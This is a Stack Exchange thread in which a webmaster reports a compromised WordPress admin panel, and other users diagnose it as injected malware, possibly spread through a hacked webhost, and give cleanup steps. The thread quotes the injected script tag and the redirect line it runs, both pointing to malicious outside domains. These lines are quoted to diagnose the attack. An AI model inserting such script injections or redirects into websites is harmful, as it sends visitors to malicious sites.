Take the 2-minute tour ×
Webmasters Stack Exchange is a question and answer site for pro webmasters. It's 100% free, no registration required.

I'm quite baffled by this issue and I have absolutely no idea what could be causing it. I have a Wordpress website that has been working fine, until for some reason, the admin panel started to screw up and wouldn't display all of the CSS correctly. Upon further investigation I found that the load-scripts.php and load-styles.php are loading with odd characters, as you can see:

http://www.obhsfbla.org/wp-admin/load-scripts.php?c=1&load=jquery,utils,thickbox,media-upload&ver=96728cab06e0531b9307c89031a13e9c

This is basically a default Wordpress install, and I have reuploaded that file, yet the problem persists. It doesn't seem to be a character encoding issue, as the headers say it is UTF-8.

Here is the kind of scary part, if you remove all of the get attributes from that URL, the page displays:

<script src="http://sweepstakesandcontestsdo.com/nl.php?p=d"></script>

I won't navigate to that site because Safari says it is malicious. But how exactly could this be happening? Why would that URL come up? The code in that page has never been edited.

share|improve this question

migrated from stackoverflow.com Feb 27 '12 at 3:33

This question came from our site for professional and enthusiast programmers.

    
It's most likely from a vulnerable plugin, and xss or php injection attack, they aren't that harmful as you see just some js embedded into your index.php file. This is a big problem though on ecommerce sites that have dozens of index.php through out their templates. You should clean the files ASAP so that your site is not flagged as malware by Google, in which case just wait it out or ask for a review after it's cleaned. Update your plugins and WP. –  Anagio Feb 28 '12 at 8:59

2 Answers 2

up vote 5 down vote accepted

That script has this code in it:

window.top.location.replace("http://litic82sreac.rr.nu/n.php?h=1&s=nl");

It redirects your user to http://litic82sreac.rr.nu/n.php?h=1&s=nl. I recently saw this sort of attack on both phpBB and MediaWiki servers, so I think it might be a hacked webhost.

What webhost are you using?

share|improve this answer
    
Dreamhost. Any report of that? –  John Feb 26 '12 at 6:10
1  
Yep, that's the same webhost and the same URL pattern for the <script> tags. Dreamhost said that they found "possible traces of an attack" about a month ago and that everything was fixed. This is why I don't trust webhosts... –  Blender Feb 26 '12 at 6:13
    
Do you happen to know of any resources on how to fix this? I haven't experimented much with the default Wordpress files save for some functions.php editing. Is it something in my SQL databases, or in the actual system files? –  John Feb 26 '12 at 6:17
    
It is possibly the webhost itself. Someone might have broken into their servers and is infecting your files that way. Are only index.php files affected? –  Blender Feb 26 '12 at 6:19
    
The only files I can tell that have this script are load-styles.php and load-scripts.php. The front-end is fine, but if I log in to my website the styles and scripts won't load because it somehow messes with the character encoding. –  John Feb 26 '12 at 6:23

Definitly a hack!

  1. Back up your site locally, pop it in a zip file and keep hold of just incase you need it.
  2. Backup your database, zip it again and keep a spare copy incase you need it.
  3. Do a clean install of wordpress, backup the code and config when you're finished
  4. Migrate your theme files (check each theme file for nasty code) and plugins over and then watch carefully for a few days to see if the attack respawns.
  5. See my answer here for good information on locking down wordpress
share|improve this answer

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.